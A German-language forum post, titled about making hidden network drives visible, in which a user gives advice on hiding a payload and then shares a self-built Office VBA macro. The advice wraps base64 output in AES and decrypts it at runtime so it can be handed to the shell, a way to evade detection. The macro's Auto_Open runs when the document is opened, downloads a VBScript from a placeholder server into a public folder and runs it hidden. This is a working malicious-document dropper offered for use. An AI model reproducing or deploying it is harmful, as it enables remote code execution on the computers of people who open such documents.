Versteckte Netzwerk Laufwerke sichtbar machen?

[Braz]

AH CRUZ ICH DREH DURCH!
Ich wollte gerade exakt das gleiche schreiben!

Den b64 Output nochmal mit AES verschlüsseln.
AES-Decrypt Funktion anfügen -> AES-Strings am Ende vom Makro entschlüsseln und gleich in die Shell übergeben.

//Edit:
Falls du aber gleich schwere Geschütze auffahren willst, nimm das Makro hier (selbstgebaut, getestet und für gut befunden):

Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, _ ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long

Sub Auto_Open()


Dim InpUrl As String
Dim OutFilePath As String
Dim DownloadStatus As Long

InpUrl = "http://deinserver.net/1.vbs"
OutFilePath = "C:\Users\Public\1.vbs"

DownloadStatus = URLDownloadToFile(0, InpUrl, OutFilePath, 0, 0)

If DownloadStatus = 0 Then
Shell "wscript C:\Users\Public\1.vbs", vbHide
DownloadStatus = 1
Else
MsgBox "File nicht erreichbar #sadboy"
End If
End Sub